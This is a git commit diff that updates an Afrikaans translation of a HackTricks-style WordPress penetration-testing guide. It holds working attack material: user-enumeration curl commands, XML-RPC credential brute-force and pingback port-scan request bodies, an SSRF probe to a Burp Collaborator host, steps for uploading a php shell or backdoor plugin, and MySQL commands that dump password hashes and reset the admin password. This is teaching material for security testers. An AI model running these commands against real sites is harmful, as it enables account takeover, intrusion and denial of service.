mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
aaf8304324
commit
68f3d11b25
@ -4,49 +4,49 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
- **Gelaaide** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Temas lêers kan gevind word in /wp-content/themes/,** so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur **tema twentytwelve** te gebruik, kan jy **toegang** verkry tot die **404.php** lêer in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Opgelaaide** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Temalêers kan gevind word in /wp-content/themes/,** dus as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: As jy **tema twentytwelve** gebruik kan jy die **404.php** lêer bereik in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Nog 'n nuttige url kan wees:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** kan jy die wortelwagwoord van die databasis vind.
|
||||
- Standaard aanmeldpade om te kontroleer: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** kan jy die root wagwoord van die databasis vind.
|
||||
- Standaard login-paaie om na te kyk: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Hoof WordPress Lêers**
|
||||
### **Hoof WordPress-lêers**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.
|
||||
- `wp-activate.php` word gebruik vir die e-pos aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
|
||||
- Aanmeldmappies (kan hernoem word om dit te verberg):
|
||||
- `license.txt` bevat nuttige inligting soos die geïnstalleerde WordPress-weergawe.
|
||||
- `wp-activate.php` word gebruik vir die e-pos-aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
|
||||
- Login-vouers (kan hernoem word om dit te verberg):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om oorgedra te word met HTTP wat as die vervoermeganisme en XML as die koderingmeganisme optree. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word.
|
||||
- `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai word, gestoor word.
|
||||
- `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.
|
||||
- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al die openbare plasings en publiek navraagbare plasingstipes en taksonomieë.
|
||||
- `xmlrpc.php` is 'n lêer wat 'n funksie van WordPress verteenwoordig wat toelaat dat data oorgedra word met HTTP as die vervoermeganisme en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Die `wp-content` vouer is die hoofgids waar plugins en temas gestoor word.
|
||||
- `wp-content/uploads/` is die gids waar enige lêers opgelaai na die platform gestoor word.
|
||||
- `wp-includes/` Hierdie is die gids waar kernlêers gestoor word, soos sertifikate, fonte, JavaScript-lêers, en widgets.
|
||||
- `wp-sitemap.xml` In WordPress weergawes 5.5 en hoër, genereer WordPress 'n sitemap XML-lêer met alle publieke plasings en publiek navraagbare plasingsoorte en taksonomieë.
|
||||
|
||||
**Post eksploitatie**
|
||||
**Post exploitation**
|
||||
|
||||
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis gasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.
|
||||
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om aan die databasis te koppel, soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, verifikasiesleutels en salts, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees tydens foutopsporing.
|
||||
|
||||
### Gebruikers Toestemmings
|
||||
### Gebruikerstoestemmings
|
||||
|
||||
- **Administrateur**
|
||||
- **Redakteur**: Publiseer en bestuur sy en ander plasings
|
||||
- **Skrywer**: Publiseer en bestuur sy eie plasings
|
||||
- **Bydraer**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
|
||||
- **Tekenaar**: Blaai deur plasings en wysig hul profiel
|
||||
- **Administrator**
|
||||
- **Editor**: Publiseer en bestuur sy eie en ander se plasings
|
||||
- **Author**: Publiseer en bestuur sy eie plasings
|
||||
- **Contributor**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
|
||||
- **Subscriber**: Blaai deur plasings en wysig hul profiel
|
||||
|
||||
## **Passiewe Enumerasie**
|
||||
|
||||
### **Kry WordPress weergawe**
|
||||
### **Kry WordPress-weergawe**
|
||||
|
||||
Kontroleer of jy die lêers `/license.txt` of `/readme.html` kan vind
|
||||
Kyk of jy die lêers `/license.txt` of `/readme.html` kan vind
|
||||
|
||||
Binne die **bronskode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
Binne die **bronkode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,60 +56,60 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- CSS skakel lêers
|
||||
- CSS link-lêers
|
||||
|
||||
.png>)
|
||||
|
||||
- JavaScript lêers
|
||||
- JavaScript-lêers
|
||||
|
||||
.png>)
|
||||
|
||||
### Kry Plugins
|
||||
### Kry inproppe
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Kry Temas
|
||||
### Kry temas
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Trek weergawes in die algemeen
|
||||
### Trek weergawes in die algemeen uit
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Aktiewe enumerasie
|
||||
## Aktiewe opsporing
|
||||
|
||||
### Plugins en Temas
|
||||
### Plugins and Themes
|
||||
|
||||
Jy sal waarskynlik nie al die moontlike Plugins en Temas kan vind nie. Om al hulle te ontdek, sal jy **aktief 'n lys van Plugins en Temas moet Brute Force** (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat).
|
||||
Jy sal waarskynlik nie alle Plugins en Themes kan vind wat moontlik is nie. Om hulle almal te ontdek, sal jy **aktief Brute Force 'n lys van Plugins en Themes** moet uitvoer (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).
|
||||
|
||||
### Gebruikers
|
||||
|
||||
- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:
|
||||
- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-site deur gebruikers-ID's te Brute Force:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
As die antwoorde **200** of **30X** is, beteken dit dat die id **geldige** is. As die antwoord **400** is, dan is die id **ongeldige**.
|
||||
As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, dan is die id **ongeldig**.
|
||||
|
||||
- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te verkry deur te vra:
|
||||
- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur 'n navraag te stuur:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
'n Ander `/wp-json/` eindpunt wat 'n bietjie inligting oor gebruikers kan onthul, is:
|
||||
Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan onthul, is:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos gemaak het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
|
||||
Let wel dat hierdie endpoint slegs gebruikers blootstel wat 'n pos gemaak het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het sal verskaf word**.
|
||||
|
||||
Neem ook kennis dat **/wp-json/wp/v2/pages** IP-adresse kan lek.
|
||||
Hou ook in gedagte dat **/wp-json/wp/v2/pages** IP addresses kan leak.
|
||||
|
||||
- **Inlog gebruikersnaam enumerasie**: Wanneer jy inlog in **`/wp-login.php`** is die **boodskap** **anders** as die aangeduide **gebruikersnaam bestaan of nie**.
|
||||
- **Login username enumeration**: Wanneer jy by **`/wp-login.php`** aanmeld, is die **boodskap** **anders**, wat aandui of die **gebruikersnaam bestaan of nie**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
As `xml-rpc.php` aktief is, kan jy 'n geloofsbriewe brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses outomatiseer[ deur dit te gebruik](https://github.com/relarizky/wpxploit) byvoorbeeld).
|
||||
As `xml-rpc.php` aktief is, kan jy 'n credentials brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ en stuur hierdie versoek:
|
||||
Om te sien of dit aktief is, probeer toegang verkry tot _**/xmlrpc.php**_ en stuur hierdie versoek:
|
||||
|
||||
**Kontroleer**
|
||||
```html
|
||||
@ -120,9 +120,9 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_
|
||||
```
|
||||

|
||||
|
||||
**Geloofsbriewe Bruteforce**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Die boodskap _"Onkorrekte gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie.
|
||||
Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode reaksie moet verskyn as die inlogbesonderhede nie geldig is nie.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die antwoord sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Met die korrekte inlogbesonderhede kan jy 'n lêer oplaai. In die reaksie sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die antwoord sal die p
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.multicall`** aangesien jy verskeie akrediteer op dieselfde versoek kan probeer:
|
||||
Daar is ook 'n **vinnigere manier** om credentials te brute-force deur **`system.multicall`** te gebruik, aangesien jy verskeie credentials in dieselfde versoek kan probeer:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Om 2FA te omseil**
|
||||
**Bypass 2FA**
|
||||
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om met daardie akrediteer in te log en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te bereik soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy xmlrpc.php kan misbruik om met daardie creds aan te meld en 2FA te omseil**. Let wel dat jy nie al die aksies wat jy deur die console kan uitvoer, sal kan doen nie, maar jy kan steeds by RCE uitkom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS of poort skandering**
|
||||
**DDoS or port scanning**
|
||||
|
||||
As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy die Wordpress 'n arbitrêre versoek na enige gasheer/poort laat stuur.\
|
||||
Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** te kry (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui).
|
||||
As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy Wordpress 'n ewekansige versoek na enige host/port laat stuur.\
|
||||
Dit kan gebruik word om **duisende** Wordpress **sites** te vra om een **lokasie** te **access** (sodat 'n **DDoS** by daardie lokasie veroorsaak word) of jy kan dit gebruik om **Wordpress** 'n interne **network** te **scan** te laat uitvoer (jy kan enige poort aandui).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,7 +191,7 @@ Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang*
|
||||
```
|
||||

|
||||
|
||||
As jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit die poort is oop.
|
||||
As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit die port is oop.
|
||||
|
||||
Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
|
||||
|
||||
@ -209,17 +209,17 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
|
||||
Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\
|
||||
Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
|
||||
Hierdie lêer bestaan gewoonlik onder die root van die Wordpress-webwerf: **`/wp-cron.php`**\
|
||||
Wanneer hierdie lêer **accessed** word, word 'n "**heavy**" MySQL **query** uitgevoer, so dit kan deur **attackers** gebruik word om 'n **DoS** te **cause**.\
|
||||
Standaard word die `wp-cron.php` op elke page load aangeroep (elke keer as 'n kliënt enige Wordpress-blad versoek), wat op hoë-traffic webwerwe probleme (DoS) kan veroorsaak.
|
||||
|
||||
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
|
||||
Dit word aanbeveel om Wp-Cron te disable en 'n werklike cronjob op die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te toegang en die Wordpress-webwerf mag 'n versoek aan jou maak.
|
||||
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-site mag 'n versoek na jou maak.
|
||||
|
||||
Dit is die antwoord wanneer dit nie werk nie:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -230,32 +230,32 @@ Dit is die antwoord wanneer dit nie werk nie:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** bestaan en vir die pad **/wp-json/oembed/1.0/proxy** en as dit bestaan, probeer dit om dit te exploiteer.
|
||||
Hierdie tool kontroleer of die **methodName: pingback.ping** bestaan en of die pad **/wp-json/oembed/1.0/proxy** beskikbaar is; as dit bestaan, probeer dit om dit uit te exploit.
|
||||
|
||||
## Outomatiese Hulpmiddels
|
||||
## Automatic Tools
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Kry toegang deur 'n bit te oorskryf
|
||||
## Verkry toegang deur 'n bit oor te skryf
|
||||
|
||||
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omdraai. So jy kon die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP.
|
||||
Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omdraai. Sodoende kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Paneel RCE**
|
||||
|
||||
**Wysig 'n php van die tema wat gebruik word (admin geloofsbriewe benodig)**
|
||||
**Wysig 'n php uit die gebruikte theme (admin credentials benodig)**
|
||||
|
||||
Uiterlik → Tema Redigeerder → 404 Sjabloon (aan die regterkant)
|
||||
Appearance → Theme Editor → 404 Template (aan die regterkant)
|
||||
|
||||
Verander die inhoud na 'n php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -263,14 +263,14 @@ Jy kan gebruik:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
to get a session.
|
||||
om 'n sessie te kry.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\
|
||||
Skep jou php backdoor met byvoorbeeld:
|
||||
Skep jou php-backdoor byvoorbeeld met:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -278,7 +278,7 @@ Voeg dan 'n nuwe plugin by:
|
||||
|
||||
.png>)
|
||||
|
||||
Laai die plugin op en druk Installeer Nou:
|
||||
Laai die plugin op en druk Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -286,74 +286,74 @@ Klik op Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:
|
||||
Waarskynlik sal dit blykbaar niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:
|
||||
|
||||
.png>)
|
||||
|
||||
Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
|
||||
Gaan na dit en jy sal die URL sien om die reverse shell uit te voer:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
### Oplaai en aktiveer kwaadwillige plugin
|
||||
|
||||
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
|
||||
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress dashboard soos volg uitgevoer:
|
||||
|
||||
1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installasie**:
|
||||
- Navigeer na die WordPress-dashboard, gaan dan na `Dashboard > Plugins > Upload Plugin`.
|
||||
- Gaan na die WordPress dashboard, en navigeer dan na `Dashboard > Plugins > Upload Plugin`.
|
||||
- Laai die zip-lêer van die afgelaaide plugin op.
|
||||
3. **Plugin Aktivering**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
|
||||
4. **Eksploitering**:
|
||||
- Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit benut word aangesien dit bekend is om kwesbaar te wees.
|
||||
- Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen.
|
||||
- Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer.
|
||||
4. **Eksploitasie**:
|
||||
- Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
|
||||
- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word wat onbevoegde toegang tot die site gee.
|
||||
- Daar word opgemerk dat dit net een van die baie metodes is om 'n WordPress-site uit te buit.
|
||||
|
||||
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om te noem dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming.
|
||||
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om daarop te let dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik en slegs in 'n wettige konteks gebruik word, soos penetration testing met uitdruklike toestemming.
|
||||
|
||||
**Vir meer gedetailleerde stappe, kyk:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**Vir meer gedetailleerde stappe sien:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## Van XSS na RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n skrip wat ontwerp is om 'n **Cross-Site Scripting (XSS)** kwesbaarheid na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting, kyk [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Wordpress Weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:**
|
||||
- _**Privilegie Eskalasie:**_ Skep 'n gebruiker in WordPress.
|
||||
- _**(RCE) Aangepaste Plugin (backdoor) Oplaai:**_ Laai jou aangepaste plugin (backdoor) na WordPress op.
|
||||
- _**(RCE) Ingeboude Plugin Wysig:**_ Wysig 'n Ingeboude Plugins in WordPress.
|
||||
- _**(RCE) Ingeboude Tema Wysig:**_ Wysig 'n Ingeboude Themes in WordPress.
|
||||
- _**(Aangepas) Aangepaste Eksploite:**_ Aangepaste Eksploite vir Derdeparty WordPress Plugins/Themes.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)** kwesbaarheid te eskaleer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Wordpress-weergawe 6.X.X, 5.X.X en 4.X.X en laat toe om:**
|
||||
- _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou eie custom plugin (backdoor) na WordPress op.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Wysig 'n ingeboude plugin in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Wysig 'n ingeboude tema in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits vir derdeparty WordPress-plugins/-temas.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Extract usernames and passwords:
|
||||
Onttrek gebruikersname en wagwoorde:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Verander admin wagwoord:
|
||||
Verander admin password:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Aanvaloppervlak
|
||||
### Aanvalsoppervlak
|
||||
|
||||
Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede daarin te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
